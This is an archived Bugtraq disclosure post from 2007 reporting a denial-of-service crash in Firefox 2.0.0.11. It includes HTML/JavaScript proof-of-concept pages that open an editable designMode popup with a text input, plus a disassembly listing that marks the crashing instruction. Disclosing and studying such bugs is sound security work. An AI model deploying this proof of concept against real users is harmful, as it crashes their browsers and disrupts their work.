bugtraq - Firefox 2.0.0.11 INPUT Denial Of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 5 Dec 2007 19:34:23 -0000
From: azizov@...efence.ru
To: bugtraq@...urityfocus.com
Subject: Firefox 2.0.0.11 INPUT Denial Of Service

Author: Azizov Emin (azizov@...efence.ru)
ITDEFENCE.ru

Denial of Service at INPUT tag processing 
(designMode = on)  

POC:

<html>
<head>            
	<title>!</title>
	<script type='text/javascript'>

	function wnd_open(uri,size) {
		pwin=window.open(uri,'','menubar=no,scrollbars=yes,location=no,'+size);
		pwin.document.body.contentEditable='true';
		pwin.document.designMode='on';
		if(window.focus){pwin.focus()};
	}

	</script>
</head>
<body>
	<input type='button' name='sb' value='start' onclick='wnd_open("/evl.html","width=550,height=350");'>
</body>
</html>
----------------------------------------------------------------------------------------------------------------
<!--

005EC769  |> 8B06           MOV EAX,DWORD PTR DS:[ESI]
005EC76B  |. 6A 00          PUSH 0
005EC76D  |. 53             PUSH EBX
005EC76E  |. 56             PUSH ESI
005EC76F  |. FF50 30        CALL DWORD PTR DS:[EAX+30]
005EC772  |> 8B5B 14        MOV EBX,DWORD PTR DS:[EBX+14]
005EC775  |. 5E             POP ESI
005EC776  |. EB 12          JMP SHORT firefox.005EC78A
005EC778  |> 837B 18 00     /CMP DWORD PTR DS:[EBX+18],0
005EC77C  |. 75 09          |JNZ SHORT firefox.005EC787
005EC77E  |. FF75 10        |PUSH DWORD PTR SS:[EBP+10]
005EC781  |. 8B03           |MOV EAX,DWORD PTR DS:[EBX]
005EC783  |. 53             |PUSH EBX
005EC784  |. FF50 28        |CALL DWORD PTR DS:[EAX+28]
005EC787  |> 8B5B 10        |MOV EBX,DWORD PTR DS:[EBX+10]
005EC78A  |> 85DB            TEST EBX,EBX
005EC78C  |.^75 EA          \JNZ SHORT firefox.005EC778
005EC78E  |> 5F             POP EDI
005EC78F  |. 33C0           XOR EAX,EAX
005EC791  |. 5B             POP EBX
005EC792  |. C9             LEAVE
005EC793  \. C2 0C00        RETN 0C
005EC796  /$ 56             PUSH ESI
005EC797  |. 8B7424 08      MOV ESI,DWORD PTR SS:[ESP+8]
005EC79B  |. 57             PUSH EDI                       
005EC79C  |. 8BF9           MOV EDI,ECX                    
005EC79E  |. 8B46 0C        MOV EAX,DWORD PTR DS:[ESI+C]   <-------//BREAK
005EC7A1  |. 85C0           TEST EAX,EAX
005EC7A3  |. 74 09          JE SHORT firefox.005EC7AE
005EC7A5  |. 8B08           MOV ECX,DWORD PTR DS:[EAX]
005EC7A7  |. 50             PUSH EAX
005EC7A8  |. FF91 C0000000  CALL DWORD PTR DS:[ECX+C0]
005EC7AE  |> 8B76 14        MOV ESI,DWORD PTR DS:[ESI+14]
005EC7B1  |. EB 0B          JMP SHORT firefox.005EC7BE
005EC7B3  |> 56             /PUSH ESI
005EC7B4  |. 8BCF           |MOV ECX,EDI
005EC7B6  |. E8 DBFFFFFF    |CALL firefox.005EC796
005EC7BB  |. 8B76 10        |MOV ESI,DWORD PTR DS:[ESI+10]
005EC7BE  |> 85F6            TEST ESI,ESI
005EC7C0  |.^75 F1          \JNZ SHORT firefox.005EC7B3
005EC7C2  |. 5F             POP EDI
005EC7C3  |. 5E             POP ESI
005EC7C4  \. C2 0400        RETN 4
-->
<html>
<head>
	<title>die</title>
	<style type='text/css'>
	.textbox 
	{
		padding: 2px 3px;
	}
	</style>
</head>
<body>
	<!-- 
		insert into textbox insert into clipboard .... text 
		to crash .... 
	-->
	<input name="m_0" value="" class="textbox" size="3" id='boo' type="text">
</body>
</html>